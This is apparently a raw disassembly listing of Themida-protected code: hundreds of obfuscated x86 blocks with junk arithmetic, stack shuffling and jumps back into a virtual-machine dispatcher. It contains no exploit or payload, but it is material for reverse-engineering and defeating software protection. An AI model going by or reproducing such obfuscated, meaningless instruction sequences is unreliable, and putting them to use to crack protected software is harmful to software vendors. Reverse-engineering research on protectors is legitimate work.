mov ebx, 7DDF7392h
shr ebx, 5
neg ebx
shl ebx, 2
jmp loc_560DBB
; ---------------------------------------------------------------------------
loc_558799: ; CODE XREF: Themida_:00551BD7j
push 2CEh
jmp loc_55173F
; ---------------------------------------------------------------------------
loc_5587A3: ; CODE XREF: Themida_:0055B693j
mov [esp], ebp
mov ebp, 35D0443h
sub esi, ebp
pop ebp
sub esp, 4
mov [esp], eax
push ebx
mov ebx, 316A5428h
mov eax, ebx
jmp loc_562B94
; ---------------------------------------------------------------------------
loc_5587C4: ; CODE XREF: Themida_:0056389Ej
xor edx, [esp]
mov esp, [esp]
bswap eax
jmp loc_565B7D
; ---------------------------------------------------------------------------
loc_5587D1: ; CODE XREF: Themida_:00560A61j
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55846F
; ---------------------------------------------------------------------------
loc_5587E2: ; CODE XREF: Themida_:005534B7j
mov eax, esi
mov esi, [esp]
add esp, 4
jmp loc_562F26
; ---------------------------------------------------------------------------
loc_5587EF: ; CODE XREF: Themida_:005655C7j
pop eax
jmp loc_55B1B5
; ---------------------------------------------------------------------------
loc_5587F5: ; CODE XREF: Themida_:0055B8F0j
add ebp, 61396702h
pop eax
xor ebp, [esp]
xor [esp], ebp
jmp loc_559A74
; ---------------------------------------------------------------------------
loc_558807: ; CODE XREF: Themida_:0055771Ej
push ecx
jmp loc_561F89
; ---------------------------------------------------------------------------
loc_55880D: ; CODE XREF: Themida_:005603FBj
push eax
mov eax, 656215B3h
push edi
jmp loc_5584D1
; ---------------------------------------------------------------------------
loc_558819: ; CODE XREF: Themida_:00559632j
push 29787145h
pop ebx
push edx
mov edx, 186C7CA9h
jmp loc_55E469
; ---------------------------------------------------------------------------
loc_55882A: ; CODE XREF: Themida_:0055B1FBj
shr esi, 8
inc esi
xor esi, 428CD88Ch
add edx, esi
pop esi
jmp loc_55210C
; ---------------------------------------------------------------------------
loc_55883C: ; CODE XREF: Themida_:005642A3j
pop edi
add esp, 4
sub ecx, edx
mov edx, [esp]
jmp loc_55B2C6
; ---------------------------------------------------------------------------
loc_55884A: ; CODE XREF: Themida_:0055C785j
push dword ptr [esp]
pop edi
push ebp
mov ebp, esp
add ebp, 4
jmp loc_555B63
; ---------------------------------------------------------------------------
loc_55885C: ; CODE XREF: Themida_:0055FC99j
push 23D34B3Dh
pop edi
jmp loc_552A73
; ---------------------------------------------------------------------------
loc_558867: ; CODE XREF: Themida_:0056556Aj
pop ecx
sub al, bl
sub al, 0FDh
sub al, 0B2h
jmp loc_55DE7F
; ---------------------------------------------------------------------------
loc_558873: ; CODE XREF: Themida_:00558E1Ej
mov dl, 3Ah
add dl, 51h
jmp loc_562803
; ---------------------------------------------------------------------------
loc_55887D: ; CODE XREF: Themida_:0055F12Bj
add esp, 2
add al, bl
push ecx
mov cl, 0D2h
sub al, cl
pop ecx
add al, 0A8h
jmp loc_555D72
; ---------------------------------------------------------------------------
loc_55888F: ; CODE XREF: Themida_:0055B73Bj
sub ebx, 0FFFFFFFFh
and ebx, 4C510CC8h
shr ebx, 7
add ebx, 387A5D3Bh
shl ebx, 5
add ebx, 715A6C4Ch
jmp loc_55CAC6
; ---------------------------------------------------------------------------
loc_5588AF: ; CODE XREF: Themida_:0055FCECj
dec byte ptr [esp]
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5588B8: ; CODE XREF: Themida_:00554D1Bj
sub eax, 77F73BF3h
not eax
sub eax, 1719DBF7h
push ebx
mov ebx, eax
mov ebp, ebx
pop ebx
pop eax
sub eax, ebp
pop ebp
push eax
push dword ptr [esp+4]
pop eax
jmp loc_5569D7
; ---------------------------------------------------------------------------
loc_5588D9: ; CODE XREF: Themida_:0055392Ej
sub edx, 190D3107h
jmp loc_556E82
; ---------------------------------------------------------------------------
loc_5588E4: ; CODE XREF: Themida_:0055BEE1j
xchg edi, [esp]
pop esp
pop edi
push ebx
mov ebx, 1
sub edx, ebx
pop ebx
push 55AAh
mov [esp], edx
not dword ptr [esp]
jmp loc_55FAA9
; ---------------------------------------------------------------------------
loc_558902: ; CODE XREF: Themida_:0055FB12j
mov cx, [esp]
add esp, 2
jmp loc_559624
; ---------------------------------------------------------------------------
loc_55890E: ; CODE XREF: Themida_:0055AEBCj
add esp, 4
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 0CC763C5h
shr ebx, 5
or ebx, 1535653Bh
push edx
mov edx, 37E01853h
jmp loc_55A568
; ---------------------------------------------------------------------------
loc_558931: ; CODE XREF: Themida_:0055EE09j
mov [esp], ebp
mov ebp, 713458CDh
or ebp, 0EE326AFh
push edx
jmp loc_55DB2A
; ---------------------------------------------------------------------------
loc_558945: ; CODE XREF: Themida_:00562AE4j
push edi
mov edi, 159A082Fh
jmp loc_55C369
; ---------------------------------------------------------------------------
loc_558950: ; CODE XREF: Themida_:00559A50j
xor esi, [esp]
jmp loc_55BB57
; ---------------------------------------------------------------------------
loc_558958: ; CODE XREF: Themida_:00565A37j
shr ebp, 5
jmp loc_551FCB
; ---------------------------------------------------------------------------
loc_558960: ; CODE XREF: Themida_:00554754j
mov bh, 0D8h
push ebx
jmp loc_5568EC
; ---------------------------------------------------------------------------
loc_558968: ; CODE XREF: Themida_:0055E0F1j
mov esi, 6266031Ah
sub edi, esi
pop esi
shr edi, 1
dec edi
push 32A8h
mov [esp], edi
jmp loc_55123A
; ---------------------------------------------------------------------------
loc_558980: ; CODE XREF: Themida_:00557662j
mov eax, 1C384A5Dh
add ebx, eax
mov eax, [esp]
add esp, 4
add ebx, edx
sub ebx, 1C384A5Dh
pop edx
add ebx, 365773Ah
sub ebx, eax
sub ebx, 365773Ah
push 29B9h
mov [esp], ecx
mov ecx, 2A174D38h
push edx
jmp loc_558AA9
; ---------------------------------------------------------------------------
loc_5589BA: ; CODE XREF: Themida_:00555C1Aj
mov esp, [esp]
push ebx
mov ebx, esp
add ebx, 4
push ebp
push esi
mov esi, 162D3D41h
mov ebp, esi
pop esi
xchg ecx, ebp
not ecx
xchg ecx, ebp
push eax
push ecx
push 14080EA6h
pop ecx
push ecx
mov eax, [esp]
add esp, 4
jmp loc_5567D6
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_55C5C2
; ---------------------------------------------------------------------------
loc_5589FD: ; CODE XREF: Themida_:00561B3Dj
add eax, 4
xchg eax, [esp]
jmp loc_55C3FC
; ---------------------------------------------------------------------------
loc_558A08: ; CODE XREF: Themida_:0055B5C2j
mov ebp, 670D5A84h
push 61EBh
mov [esp], ebx
mov ebx, 0C0D3045h
neg ebx
inc ebx
jmp loc_56303B
; ---------------------------------------------------------------------------
loc_558A22: ; CODE XREF: Themida_:005537D2j
push ecx
jmp loc_556C31
; ---------------------------------------------------------------------------
loc_558A28: ; CODE XREF: Themida_:00553C00j
add ecx, esi
sub ecx, 799655FDh
pop esi
shl ecx, 1
shr ecx, 6
push 0F0Bh
mov [esp], esi
push 59F4h
mov [esp], ecx
sub esp, 4
mov [esp], esi
push 55285C56h
pop esi
push edi
mov edi, 38F17290h
push edx
jmp loc_552CF0
; ---------------------------------------------------------------------------
loc_558A5E: ; CODE XREF: Themida_:00561D0Dj
add ah, 45h
sub bl, ah
pop eax
movzx eax, al
mov dx, [esp]
push 5132h
mov [esp], ebp
jmp loc_555DC2
; ---------------------------------------------------------------------------
loc_558A78: ; CODE XREF: Themida_:0055F806j
and ecx, 63DB3659h
shl ecx, 2
not ecx
shl ecx, 5
not ecx
push ebp
jmp loc_551693
; ---------------------------------------------------------------------------
loc_558A8E: ; CODE XREF: Themida_:00560660j
mov esi, 49EF7E36h
add esi, 3B03154Ch
jmp loc_55E681
; ---------------------------------------------------------------------------
loc_558A9E: ; CODE XREF: Themida_:0055DEDDj
add ecx, edx
pop edx
add ecx, 4
jmp loc_56270C
; ---------------------------------------------------------------------------
loc_558AA9: ; CODE XREF: Themida_:005589B5j
push eax
jmp loc_564D20
; ---------------------------------------------------------------------------
loc_558AAF: ; CODE XREF: Themida_:00552ECDj
pop esp
push 56B2h
mov [esp], ebx
push edx
push 39C3083Dh
mov edx, [esp]
add esp, 4
shr edx, 7
push edi
mov edi, 73860Ch
sub edx, edi
pop edi
sub esp, 4
jmp loc_5551B3
; ---------------------------------------------------------------------------
loc_558ADE: ; CODE XREF: Themida_:00559AC1j
mov [esp], ebx
push eax
mov eax, 5080040Ah
xor eax, 35D86D95h
mov ebx, eax
push dword ptr [esp]
pop eax
push edx
mov edx, esp
jmp loc_564C14
; ---------------------------------------------------------------------------
loc_558AFA: ; CODE XREF: Themida_:0055F43Aj
push edx
jmp loc_558623
; ---------------------------------------------------------------------------
loc_558B00: ; CODE XREF: Themida_:005555CDj
mov eax, 166F0682h
push eax
dec dword ptr [esp]
pop eax
jmp loc_55DA87
; ---------------------------------------------------------------------------
loc_558B0F: ; CODE XREF: Themida_:0055D818j
add edx, 71E514A4h
sub edx, ebp
sub edx, 71E514A4h
pop ebp
mov esi, edx
pop edx
push ecx
push 218B3E9Ch
jmp loc_562C0A
; ---------------------------------------------------------------------------
loc_558B2C: ; CODE XREF: Themida_:00564629j
pop ebp
add ebp, 4
add ebp, 4
jmp loc_563068
; ---------------------------------------------------------------------------
loc_558B3B: ; CODE XREF: Themida_:005634C5j
push ecx
mov ecx, 636C43D2h
not ecx
neg ecx
or ecx, 0DD246BEh
shr ecx, 3
xor ecx, 34C376Dh
add eax, ecx
pop ecx
mov edi, eax
pop eax
sub esi, edi
mov edi, [esp]
jmp loc_55A4CC
; ---------------------------------------------------------------------------
loc_558B64: ; CODE XREF: Themida_:00561D28j
mov eax, 0ADC21AF4h
xor ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_551D13
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_558B88: ; CODE XREF: Themida_:005506AFj
mov edx, 4
add [esp+4], edx
jmp loc_5620DB
; ---------------------------------------------------------------------------
loc_558B96: ; CODE XREF: Themida_:005605E2j
add ebp, edx
pop edx
push ebx
mov ebx, ebp
mov edi, ebx
jmp loc_552BD1
; ---------------------------------------------------------------------------
loc_558BA3: ; CODE XREF: Themida_:0055069Aj
add esi, ecx
sub esi, 21F30FCAh
pop ecx
push ebp
push edi
jmp loc_564E2F
; ---------------------------------------------------------------------------
loc_558BB3: ; CODE XREF: Themida_:005601FCj
mov esi, esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
mov edx, 4
add esi, edx
pop edx
jmp loc_55E2DE
; ---------------------------------------------------------------------------
loc_558BD5: ; CODE XREF: Themida_:005506FAj
mov [esp], edx
jmp loc_55C013
; ---------------------------------------------------------------------------
loc_558BDD: ; CODE XREF: Themida_:00555DE1j
push ebp
jmp loc_55C8CF
; ---------------------------------------------------------------------------
loc_558BE3: ; CODE XREF: Themida_:005552BCj
add dword ptr [esp+8], 0BC843E0h
sub [esp+8], ecx
sub dword ptr [esp+8], 0BC843E0h
pop ecx
add [esp+4], eax
add dword ptr [esp+4], 66D512FFh
sub dword ptr [esp+4], 2B964049h
pop eax
jmp loc_55D0E7
; ---------------------------------------------------------------------------
loc_558C12: ; CODE XREF: Themida_:0055997Ej
mov [esp], edx
jmp loc_557963
; ---------------------------------------------------------------------------
loc_558C1A: ; CODE XREF: Themida_:0055169Aj
pop ebp
add eax, ecx
pop ecx
push ebp
mov ebp, 4
jmp loc_563E6C
; ---------------------------------------------------------------------------
loc_558C29: ; CODE XREF: Themida_:005659EEj
mov esp, [esp]
or eax, eax
jz loc_5651DF
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5559F1
; ---------------------------------------------------------------------------
loc_558C45: ; CODE XREF: Themida_:00564E2Aj
neg eax
shr eax, 4
push 4EB5h
mov [esp], ebp
mov ebp, 3F646B6Ah
xor ebp, 70A0051h
dec ebp
xor ebp, 380B23h
dec ebp
jmp loc_561D21
; ---------------------------------------------------------------------------
loc_558C6A: ; CODE XREF: Themida_:00561BCBj
neg edx
xor edx, 453977F4h
shr edx, 4
shl edx, 8
shr edx, 2
add edx, 0C4E05484h
add eax, edx
mov edx, [esp]
add esp, 4
push ebx
sub esp, 4
mov [esp], esi
jmp loc_55CCF5
; ---------------------------------------------------------------------------
loc_558C98: ; CODE XREF: Themida_:00559F1Ej
push dword ptr [esp]
push dword ptr [esp]
pop edi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_55E821
; ---------------------------------------------------------------------------
loc_558CC6: ; CODE XREF: Themida_:0056357Cj
pop ebp
push ecx
mov ecx, 4
sub eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55BBFA
; ---------------------------------------------------------------------------
loc_558CDD: ; CODE XREF: Themida_:005557EBj
pop eax
jmp loc_561435
; ---------------------------------------------------------------------------
loc_558CE3: ; CODE XREF: Themida_:00553D45j
mov esi, 4
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
jmp loc_561951
; ---------------------------------------------------------------------------
loc_558CF6: ; CODE XREF: Themida_:0055E448j
mov ecx, [esp]
jmp loc_553B7F
; ---------------------------------------------------------------------------
loc_558CFE: ; CODE XREF: Themida_:0055253Cj
push ebx
mov ebx, 10852FADh
push eax
mov eax, 503B6DC5h
add edx, 21EC22ABh
jmp loc_55864D
; ---------------------------------------------------------------------------
loc_558D15: ; CODE XREF: Themida_:00562805j
sub dl, 0E9h
jmp loc_553E15
; ---------------------------------------------------------------------------
loc_558D1D: ; CODE XREF: Themida_:00565274j
mov ebp, esi
pop esi
add [esp+4], ebp
jmp loc_556342
; ---------------------------------------------------------------------------
loc_558D29: ; CODE XREF: Themida_:005593BFj
pop ebx
jmp loc_562AA7
; ---------------------------------------------------------------------------
loc_558D2F: ; CODE XREF: Themida_:0055DCE9j
shl esi, 8
push ebp
mov ebp, 547F7AC4h
dec ebp
not ebp
push 6AF0h
mov [esp], ecx
push ebp
push 547F6F66h
mov ebp, [esp]
add esp, 4
jmp loc_55D1D8
; ---------------------------------------------------------------------------
loc_558D57: ; CODE XREF: Themida_:0055C6F9j
add esp, 4
pop ebx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_5552E4
; ---------------------------------------------------------------------------
loc_558D6C: ; CODE XREF: Themida_:005551AEj
mov ebx, esp
push esi
mov esi, 47C62EFBh
dec esi
jmp loc_562428
; ---------------------------------------------------------------------------
loc_558D7A: ; CODE XREF: Themida_:00552BB2j
push edx
mov edx, 6136A5Dh
jmp loc_55424C
; ---------------------------------------------------------------------------
loc_558D85: ; CODE XREF: Themida_:0055DD45j
push ebx
push ebp
push 0C37649h
jmp loc_5638B9
; ---------------------------------------------------------------------------
loc_558D91: ; CODE XREF: Themida_:005596ECj
pop eax
add edx, 1671463Bh
add edx, ebx
push eax
jmp loc_55695E
; ---------------------------------------------------------------------------
loc_558DA0: ; CODE XREF: Themida_:0055E374j
inc edx
xor edx, 3D726F66h
mov eax, edx
jmp loc_563EF9
; ---------------------------------------------------------------------------
loc_558DAE: ; CODE XREF: Themida_:00559B7Dj
or edi, 3F783C8Dh
sub edi, 8429A587h
mov edx, edi
pop edi
dec edx
or edx, 65550367h
jmp loc_55544A
; ---------------------------------------------------------------------------
loc_558DC9: ; CODE XREF: Themida_:0055C5D1j
mov edi, 11D22953h
or edi, 25A26C9Ch
push edx
mov edx, 1C651A3Eh
sub edi, edx
jmp loc_5595DC
; ---------------------------------------------------------------------------
loc_558DE1: ; CODE XREF: Themida_:0056463Aj
add edi, esi
sub edi, 582C1E4Fh
add edi, 0E0F27B7h
jmp loc_55626E
; ---------------------------------------------------------------------------
loc_558DF4: ; CODE XREF: Themida_:00560EE2j
xchg ecx, [esp]
pop esp
jmp loc_555059
; ---------------------------------------------------------------------------
loc_558DFD: ; CODE XREF: Themida_:0055BE33j
mov edx, 0F13E9EFDh
jmp loc_55A3DC
; ---------------------------------------------------------------------------
loc_558E07: ; CODE XREF: Themida_:00562111j
sub al, 6Dh
push ebx
mov bl, 0A1h
push cx
mov ch, 5Ch
jmp loc_553391
; ---------------------------------------------------------------------------
loc_558E15: ; CODE XREF: Themida_:005581F4j
pop esp
push 4FADh
mov [esp], edx
jmp loc_558873
; ---------------------------------------------------------------------------
loc_558E23: ; CODE XREF: Themida_:0055D99Dj
mov eax, [esp]
push 4BF9h
mov [esp], ebp
jmp loc_55BCA4
; ---------------------------------------------------------------------------
loc_558E33: ; CODE XREF: Themida_:00555276j
shl eax, 4
sub eax, 87E7F0BCh
add edx, eax
jmp loc_55C0EE
; ---------------------------------------------------------------------------
loc_558E42: ; CODE XREF: Themida_:005528C2j
add esp, 4
xchg ebx, [esp]
jmp loc_5592BC
; ---------------------------------------------------------------------------
loc_558E50: ; CODE XREF: Themida_:0056240Ej
or edx, 52382D35h
dec edx
jmp loc_55A608
; ---------------------------------------------------------------------------
loc_558E5C: ; CODE XREF: Themida_:0055E919j
pop ecx
pop ebx
push esi
mov esi, 26A31FDCh
jmp loc_555E21
; ---------------------------------------------------------------------------
loc_558E69: ; CODE XREF: Themida_:0055BA65j
xchg ecx, [esp]
pop esp
mov [esp], esi
mov esi, esp
add esi, 4
sub esp, 4
mov [esp], ebx
mov ebx, 399955A6h
push ebp
mov ebp, 399955A2h
add ebx, 49772895h
sub ebx, ebp
sub ebx, 49772895h
pop ebp
add esi, ebx
pop ebx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ecx
push eax
mov eax, esp
add eax, 4
sub esp, 4
mov [esp], ebx
mov ebx, 4
sub eax, ebx
pop ebx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_55C9F5
; ---------------------------------------------------------------------------
loc_558ED4: ; CODE XREF: Themida_:0055AEA5j
xor ch, bh
pop ebx
add ch, 0FFh
add ch, 0CBh
xor al, ch
pop ecx
jmp loc_55A683
; ---------------------------------------------------------------------------
loc_558EE5: ; CODE XREF: Themida_:00555D31j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_558EEA: ; CODE XREF: Themida_:005646C7j
mov [esp], edx
jmp loc_551183
; ---------------------------------------------------------------------------
loc_558EF2: ; CODE XREF: Themida_:0055E8EFj
add esp, 4
push edi
mov edi, 2
sub eax, 3A611FC0h
add eax, edi
push edi
jmp loc_558726
; ---------------------------------------------------------------------------
mov cx, [esp]
push 5247h
mov [esp], ebx
push 546Dh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push edx
push ebx
push eax
push 67660214h
pop eax
or eax, 576D0E3Eh
push ebp
mov ebp, 5AC12C3h
jmp loc_55DA5B
; ---------------------------------------------------------------------------
loc_558F3D: ; CODE XREF: Themida_:00551CDDj
sub edi, 706985DBh
and ebp, edi
pop edi
jmp loc_557E86
; ---------------------------------------------------------------------------
loc_558F4B: ; CODE XREF: Themida_:0055E217j
push 1C69h
jmp loc_551131
; ---------------------------------------------------------------------------
loc_558F55: ; CODE XREF: Themida_:0055610Aj
sub edi, 8296AB4h
sub edi, 5B2E6745h
sub edi, 0DD23936Ch
jmp loc_55288C
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5539B1
; ---------------------------------------------------------------------------
loc_558F75: ; CODE XREF: Themida_:0055D64Dj
mov [esp], ecx
jmp loc_55B14F
; ---------------------------------------------------------------------------
loc_558F7D: ; CODE XREF: Themida_:005598EDj
mov ebp, 4B6018FFh
dec ebp
jmp loc_55A206
; ---------------------------------------------------------------------------
loc_558F88: ; CODE XREF: Themida_:00551304j
mov esp, [esp]
jmp loc_562930
; ---------------------------------------------------------------------------
loc_558F90: ; CODE XREF: Themida_:00553D75j
push ebp
mov ebp, 0FB9BEC9Ah
sub esi, ebp
pop ebp
neg esi
neg esi
sub esi, 40121032h
jmp loc_56432F
; ---------------------------------------------------------------------------
loc_558FA8: ; CODE XREF: Themida_:0055BA22j
mov edi, [esp]
push ebp
jmp loc_55E8B7
; ---------------------------------------------------------------------------
loc_558FB1: ; CODE XREF: Themida_:00553994j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_562DB1
; ---------------------------------------------------------------------------
loc_558FBC: ; CODE XREF: Themida_:00551B84j
push esi
mov esi, 0B5E3592h
add esi, 6C694E63h
shl esi, 3
or esi, 31194ADEh
neg esi
xor esi, 40C2A006h
add eax, esi
mov esi, [esp]
jmp loc_552803
; ---------------------------------------------------------------------------
loc_558FE3: ; CODE XREF: Themida_:00552A31j
sub dl, 98h
jmp loc_5573E9
; ---------------------------------------------------------------------------
loc_558FEB: ; CODE XREF: Themida_:0055E62Cj
add esp, 4
push ebp
mov ebp, 359660D6h
xchg ecx, ebp
not ecx
jmp loc_564F79
; ---------------------------------------------------------------------------
loc_559000: ; CODE XREF: Themida_:00557ACAj
xchg ebp, [esp]
pop esp
sub esp, 4
jmp loc_561E14
; ---------------------------------------------------------------------------
loc_55900F: ; CODE XREF: Themida_:005633E8j
add esp, 4
jmp loc_5617DB
; ---------------------------------------------------------------------------
loc_559017: ; CODE XREF: Themida_:00555FB8j
push edx
push eax
push 5E2C1D39h
jmp loc_55A495
; ---------------------------------------------------------------------------
loc_559023: ; CODE XREF: Themida_:0055E64Fj
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_56202C
; ---------------------------------------------------------------------------
loc_559039: ; CODE XREF: Themida_:00554EF3j
not ecx
sub ecx, 4043C71Bh
jmp loc_552E76
; ---------------------------------------------------------------------------
loc_559046: ; CODE XREF: Themida_:00550AE7j
mov ecx, [esp]
add esp, 4
jmp loc_565A50
; ---------------------------------------------------------------------------
loc_559051: ; CODE XREF: Themida_:00558772j
or ebx, 52CA544Fh
sub ebx, 6403F331h
xor edx, ebx
pop ebx
mov eax, edx
jmp loc_55B4E3
; ---------------------------------------------------------------------------
loc_559067: ; CODE XREF: Themida_:005619F8j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push esp
push dword ptr [esp]
pop ebp
push edi
jmp loc_55953E
; ---------------------------------------------------------------------------
loc_559087: ; CODE XREF: Themida_:0055E7B3j
add eax, 4
jmp loc_5518FC
; ---------------------------------------------------------------------------
loc_559091: ; CODE XREF: Themida_:0055DB25j
add esi, edi
pop edi
add esi, 407E1D17h
add esi, eax
push edi
mov edi, 7C53687Ah
neg edi
add edi, 34E54287h
xor edi, 5C215D6h
add edi, 832A4D3Ch
jmp loc_561DBA
; ---------------------------------------------------------------------------
loc_5590BB: ; CODE XREF: Themida_:005574C6j
mov ecx, [esp]
add esp, 4
push esi
jmp loc_565B36
; ---------------------------------------------------------------------------
loc_5590C7: ; CODE XREF: Themida_:00556F49j
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
sub ch, ah
pop ax
push ebx
push edx
mov dh, 2
and dh, 29h
sub esp, 2
mov [esp], bx
mov bl, 83h
dec bl
add bl, 0BCh
jmp loc_565070
; ---------------------------------------------------------------------------
loc_5590EF: ; CODE XREF: Themida_:00559A36j
or eax, 4DCC6032h
push esi
jmp loc_551B1F
; ---------------------------------------------------------------------------
loc_5590FA: ; CODE XREF: Themida_:0055A974j
push 497Bh
mov [esp], edx
push 58C1h
mov [esp], eax
push edx
mov dl, 0FDh
and dl, 4Ch
shl dl, 5
shr dl, 1
neg dl
xor dl, 83h
jmp loc_552494
; ---------------------------------------------------------------------------
loc_55911F: ; CODE XREF: Themida_:00552330j
push ebx
mov ebx, 9490DFAh
mov esi, ebx
pop ebx
sub esi, 0FFFFFFFFh
add esi, 1
and esi, 10AC202Bh
push edx
jmp loc_551570
; ---------------------------------------------------------------------------
loc_55913D: ; CODE XREF: Themida_:0055CEE1j
sub edx, 71CB4FF1h
jmp loc_553B3A
; ---------------------------------------------------------------------------
loc_559148: ; CODE XREF: Themida_:0055B9D4j
sub [edi+24h], eax
push dword ptr [esp]
jmp loc_55BBD3
; ---------------------------------------------------------------------------
loc_559153: ; CODE XREF: Themida_:00556858j
pop ebx
xchg eax, [esp]
pop esp
xor al, ch
pop ecx
jmp loc_559724
; ---------------------------------------------------------------------------
loc_559160: ; CODE XREF: Themida_:005636BAj
add ebx, 756C4393h
jmp loc_5632CE
; ---------------------------------------------------------------------------
loc_55916B: ; CODE XREF: Themida_:005620EBj
pop edx
mov bx, [esp]
add esp, 2
add al, bl
push ebx
push edx
mov dh, 8Eh
xor dh, 4Ah
mov bl, dh
pop edx
sub bl, 12h
sub al, 0A3h
jmp loc_5611DF
; ---------------------------------------------------------------------------
loc_55918C: ; CODE XREF: Themida_:00562447j
pop ebp
jmp loc_55BFF8
; ---------------------------------------------------------------------------
loc_559192: ; CODE XREF: Themida_:005630CAj
add esp, 4
jmp loc_559E24
; ---------------------------------------------------------------------------
loc_55919A: ; CODE XREF: Themida_:0055061Cj
pop esp
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5591B4: ; CODE XREF: Themida_:00551047j
push esi
mov esi, 1D085E3h
sub eax, esi
pop esi
xor ebp, eax
pop eax
push edx
jmp loc_55BD94
; ---------------------------------------------------------------------------
loc_5591C6: ; CODE XREF: Themida_:005652A0j
pop ecx
sub edx, 1D1547FFh
jmp loc_5557FC
; ---------------------------------------------------------------------------
loc_5591D2: ; CODE XREF: Themida_:005585F0j
add eax, 78C84B98h
shr eax, 4
jmp loc_55758A
; ---------------------------------------------------------------------------
loc_5591DF: ; CODE XREF: Themida_:00562DB9j
mov edi, esp
jmp loc_55C5FA
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_557ACF
; ---------------------------------------------------------------------------
loc_5591EE: ; CODE XREF: Themida_:00564107j
shl ebp, 1
push esi
jmp loc_55979A
; ---------------------------------------------------------------------------
loc_5591F6: ; CODE XREF: Themida_:005568C5j
sub edi, 0FFFFFFFFh
or edi, 328F2C91h
inc edi
dec edi
jmp loc_561D34
; ---------------------------------------------------------------------------
loc_559206: ; CODE XREF: Themida_:00562A5Dj
pop eax
push 7C19h
mov [esp], ebp
mov ebp, 43F565F3h
jmp loc_558154
; ---------------------------------------------------------------------------
loc_559219: ; CODE XREF: Themida_:0055BA08j
add esp, 4
jmp loc_55467D
; ---------------------------------------------------------------------------
loc_559221: ; CODE XREF: Themida_:005558EBj
add esi, eax
jmp loc_55FB67
; ---------------------------------------------------------------------------
loc_559228: ; CODE XREF: Themida_:00551FA7j
pop esp
mov [esp], ebx
jmp loc_552128
; ---------------------------------------------------------------------------
loc_559231: ; CODE XREF: Themida_:0055B11Cj
pop edx
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, esp
sub esp, 4
jmp loc_55C8B9
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_550545
; ---------------------------------------------------------------------------
loc_559256: ; CODE XREF: Themida_:0055BC6Dj
add ecx, edx
jmp loc_557242
; ---------------------------------------------------------------------------
loc_55925D: ; CODE XREF: Themida_:00559FD4j
sub ebp, 1AD5C685h
add eax, ebp
pop ebp
push ecx
mov ecx, 67FF6107h
add ebp, ecx
pop ecx
jmp loc_564A50
; ---------------------------------------------------------------------------
loc_559274: ; CODE XREF: Themida_:005525ADj
pop esp
mov [esp], ebp
push esp
pop ebp
add ebp, 4
jmp loc_557B91
; ---------------------------------------------------------------------------
loc_559285: ; CODE XREF: Themida_:00552A23j
add esp, 4
sub esp, 4
jmp loc_553259
; ---------------------------------------------------------------------------
loc_559296: ; CODE XREF: Themida_:0055B27Ej
mov edx, edi
jmp loc_558713
; ---------------------------------------------------------------------------
loc_55929D: ; CODE XREF: Themida_:0055BB7Aj
xor si, 0C774h
sub ax, si
jmp loc_559D1E
; ---------------------------------------------------------------------------
loc_5592AA: ; CODE XREF: Themida_:005648DAj
add eax, edx
sub eax, 135B1893h
push edi
mov edi, 68B4686Eh
jmp loc_55AA08
; ---------------------------------------------------------------------------
loc_5592BC: ; CODE XREF: Themida_:00558E4Bj
mov esp, [esp]
mov [esp], ecx
mov ecx, esp
push edx
mov edx, 6BFA18CAh
xor edx, 754118A0h
push eax
mov eax, 752709FBh
jmp loc_55797E
; ---------------------------------------------------------------------------
loc_5592DB: ; CODE XREF: Themida_:0055AD5Dj
push 6672h
mov [esp], ebp
push edi
mov edi, 227F23F4h
mov ebp, 227F23F0h
xor ebp, edi
pop edi
jmp loc_55C257
; ---------------------------------------------------------------------------
loc_5592F6: ; CODE XREF: Themida_:0056570Cj
add edi, 4
xchg edi, [esp]
pop esp
sub bl, 23h
sub bl, al
add bl, 23h
mov eax, [esp]
jmp loc_563176
; ---------------------------------------------------------------------------
loc_559310: ; CODE XREF: Themida_:00559D06j
sub ebx, ecx
pop ecx
push cx
push 1D1Bh
mov [esp], eax
jmp loc_551732
; ---------------------------------------------------------------------------
loc_559322: ; CODE XREF: Themida_:005649ADj
xchg edi, [esp]
mov esp, [esp]
test cx, ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_559331: ; CODE XREF: Themida_:00554DCCj
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, 0
push esi
sub dword ptr [esp], 79A73E81h
mov ebx, [esp]
add esp, 4
jmp loc_556E66
; ---------------------------------------------------------------------------
loc_559356: ; CODE XREF: Themida_:00553966j
not ebp
sub ebp, 4FD42C8Fh
or ebp, 59CF00BFh
jmp loc_5615F1
; ---------------------------------------------------------------------------
